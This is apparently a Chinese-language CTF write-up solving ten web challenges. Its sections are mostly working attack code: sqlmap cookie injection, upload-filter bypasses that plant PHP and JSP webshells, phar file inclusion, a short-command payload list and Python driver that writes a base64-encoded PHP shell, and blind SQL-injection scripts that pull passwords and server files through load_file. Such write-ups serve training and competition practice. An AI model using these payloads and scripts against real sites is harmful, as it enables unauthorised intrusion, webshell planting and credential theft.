1、文件上传js绕过
入门题,直接修改后缀名绕过前端检测即可
2、命令执行基础
入门题,直接加管道符连接命令执行即可
3、你能爆破吗
根据提示,cookie 注入,抓包发现用户名字段被 base64 加密,故直接保存到1.txt
GET /index.php HTTP/1.1
Host: 1d955b93.yunyansec.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: uname=YWRtaW4%3D *
Connection: close
使用 sqlmap 中的 base64 temp 脚本即可进行注入
python2 sqlmap.py -r 1.txt --tamper base64encode.py -D security -T flag -C flag --dump
4、文件上传
经过测试,存在以下限制:
1、关键内容检测,如:<?
、eval
等
2、头文件检测
3、文件大小检测(记得好像要>20kb)
4、后缀名绕过
针对以上的限制,绕过方式如下:
1 --> 双写绕过
2 --> 加上图片头
3 --> 填充垃圾字符内容
4 --> 尝试pHp/phP/phpphp/php3/php4/php5/php7/pht/phtml/phar/phps等,发现个别后缀可以绕过,但是无法解析,最终测试 pht 后缀可以绕过检测并成功解析
综上,如下图
使用蚁剑连接即可
5、文件包含GetShell
将a.php压缩成zip文件 然后再改名为a.txt,上传
然后再传入 lfi.php
/lfi.php?phar://files/HaAm0y7gI99YVuRs.txt/a
即可(此处由于当时忘记记录,环境关闭复现不了)
6、成绩单
抓包,保存内容为 2.txt
POST /index.php HTTP/1.1
Host: 7bd5ca8d.yunyansec.com
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7bd5ca8d.yunyansec.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
Referer: http://7bd5ca8d.yunyansec.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
id=1 *
直接扔进 sqlmap 跑即可:
7、小猫咪踩灯泡
直接给了提示,如下图使用 PUT 上传一句话:
上传成功后,直接访问 abc.jsp,去执行命令即可
8、分析代码获得flag
这题网上有类似的题目,但是脚本需要修改
因为经过测试发现如果使用网上的脚本,生成文件名的顺序会打乱,而且index.php 文件参与其中,我们无法正常的生成1.php 文件,
于是考虑先生成一个j 文件,j 文件中存在命令ls -t >g
,最后我们再执行 g 文件,即可达到我们想要的目的
payload.txt
>\>g
>-t\\
>s\ \\
>l\\
ls>j
ls>>j
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh j
sh g
attack.py
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://e52e40fa.yunyansec.com/?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://e52e40fa.yunyansec.com/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
比赛结束后看到了其他师傅更骚气的解法,首先>cat
创建一个 cat 文件,然后再使用*%20../*
直接读取 key,太骚了
这里的原理就是将之前写入的 cat
文件当做了执行命令,去执行
*%20../* ----> cat%20../*
9、SQL2
预期解
经过测试发现,对于图片抓包可以看到:
因此确定此处存在注入
扫描备份文件发现存在wwwroot.zip
文件,解压为function.php
<?php
function SQL_DETECT($PictureId){
$a0=urldecode('%a0');
$PictureId=str_replace('\d', '', $PictureId);
$PictureId=str_replace($a0, '', $PictureId);
$PictureId=str_replace('\/\*.*?\*\/', '', $PictureId);
if(preg_match('/union|order.*by|and|\dor\d|\|\||sleep|BENCHMARK|substr|ascii|select|mid|right|left|right|substring|substring_index|INSTR|LOCATE/i', $PictureId)){
$PictureId='1';
}
return $PictureId;
}
>
发现过滤了很多关键字,且没办法绕过
故想办法用其他函数代替
经过测试发现,过滤了||
,但是没有过滤|
,故利用|
和if
来猜解数据库名:
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(database(),1,'')='w',1,null) %23
如果数据库名第一个字符是 w,那么页面应该返回正常页面,如果不是,则返回Picture not found!
如下图:
最终测试出数据库名为:waf
然后猜解存在的字段:
http://192.168.159.170/sql/Picture.php?id=0" | if(ord(password),1,null) %23
如果存在 password 字段,则返回正常页面
最终得到以下字段:username
、password
、id
、picture
然后继续猜解 username 和password 的字段:
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(username,1,'')='a',1,null) %23
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(password,1,'')='5',1,null) %23
综上,脚本如下:
#!/usr/bin/env python
#encoding=utf8
import requests
url = "http://192.168.159.170/sql/"
path = "picture.php?id=0"
arr =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
password = ""
# 判断用户名的长度
def found_username_length():
for i in range(1,15):
payload_username_length = "\" | if(length(username)='" + str(i) + "',1,null) %23'"
get_username_url_length = url + path +payload_username_length
res = requests.get(get_username_url_length)
if("PNG" in res.text):
length = i
return length
# 判断密码的长度
def found_password_length():
for i in range(1,33):
payload_password_length = "\" | if(length(password)='" + str(i) + "',1,null) %23'"
get_password_url_length = url + path + payload_password_length
res = requests.get(get_password_url_length)
if("PNG" in res.text):
length = i
return length
# 获取用户名
def found_username():
username = ""
user_fuzz = ""
username_length = found_username_length()
for i in range(1,username_length+1):
for j in arr:
user_fuzz = username + j
#print username
payload_username = "\" | if(rpad(username," + str(i) + ",'')='" + user_fuzz + "',1,null) %23'"
get_username_url = url + path + payload_username
res = requests.get(get_username_url)
if("PNG" in res.text):
if (i < username_length+1):
username = username + j
break
print "username is fuzzing...Please waiting:" + username[:username_length]
print "Success! The username is :" + username[:username_length]
# 获取密码
def found_password():
password = ""
pass_fuzz = ""
password_length = found_password_length()
for i in range(1,password_length+1):
for j in arr:
pass_fuzz = password + j
#print password
payload_password = "\" | if(rpad(password," + str(i) + ",'')='" + pass_fuzz + "',1,null) %23'"
get_password_url = url + path + payload_password
res = requests.get(get_password_url)
if("PNG" in res.text):
if (i < password_length+1):
password = password + j
break
print "password is fuzzing... Please waiting:" + password[:password_length]
print "Success! The password is :" + password[:password_length]
if __name__ == '__main__':
found_username()
found_password()
跑出来的结果:
跑出来的结果虽然是20位,打开 somd5 依旧可以解出明文:
登陆即可获得 flag
非预期解
前期测试的时候,没想到还能够直接利用ord(password)
这样的形式来猜解表名,故在不知道表名的情况下,我们想到了直接使用 load_file
来读文件:
http://192.168.159.170/sql/picture.php?id=1"^if(hex(load_file('/var/www/html/index.php'))<"40",1,0)%23
团队里师傅给的脚本如下:
#!/usr/bin/env python
# encoding=utf8
import requests
import time
url = "http://199e855b.yunyansec.com/"
path = "picture.php?id="
payloadL = '1"^if(hex({sql})>"{data}",1,0)%23'
payloadR = '1"^if(hex({sql})<"{data}",1,0)%23'
# payload = '1"^if(lpad(bin({sql}),1,"")="{data}",1,0)'
def str2hex(i):
return hex(ord(i))[2:].zfill(2)
def save(text):
f = open("tmp.txt","w")
f.write(text)
f.close()
def runL(sql,data):
url_tmp = url+path+payloadL
url_tmp = url_tmp.format(sql=sql,data=data)
# print(url_tmp)
res = requests.get(url_tmp)
if("PNG" not in res.text):
return True
return False
def runR(sql,data):
url_tmp = url+path+payloadR
url_tmp = url_tmp.format(sql=sql,data=data)
# print(url_tmp)
res = requests.get(url_tmp)
if("PNG" not in res.text):
return True
return False
def binary_search(data):
global sql
left = 0
right = 128
while left <= right: #循环条件
mid = (left + right) // 2 #获取中间位置,数字的索引(序列前提是有序的)
mid_data = hex(mid)[2:].zfill(2)
if runR(sql,data+mid_data): #如果查询数字比中间数字小,那就去二分后的左边找,
right = mid - 1 #来到左边后,需要将右变的边界换为mid-1
elif runL(sql,data+mid_data): #如果查询数字比中间数字大,那么去二分后的右边找
left = mid + 1 #来到右边后,需要将左边的边界换为mid+1
else:
return chr(right) #如果查询数字刚好为中间值,返回该值得索引
if(right==-1):
right==0
return chr(right) #如果循环结束,左边大于了右边,代表没有找到
sql = "load_file('/var/www/html/login.php')"
data=""
str_data=""
while(1):
raw_data = binary_search(data)
str_data = str_data + raw_data
data += str2hex(raw_data)
save(data+"\n"+str_data)
print(str_data)
效果:
结果读了三个小时读完(因为中间主办方的服务器挂了一次导致从头来过),那时候比赛已经结束了
10、SQL1
群里师傅发的,利用 INTO OUTFILE来写 shell
使用微信扫描二维码完成支付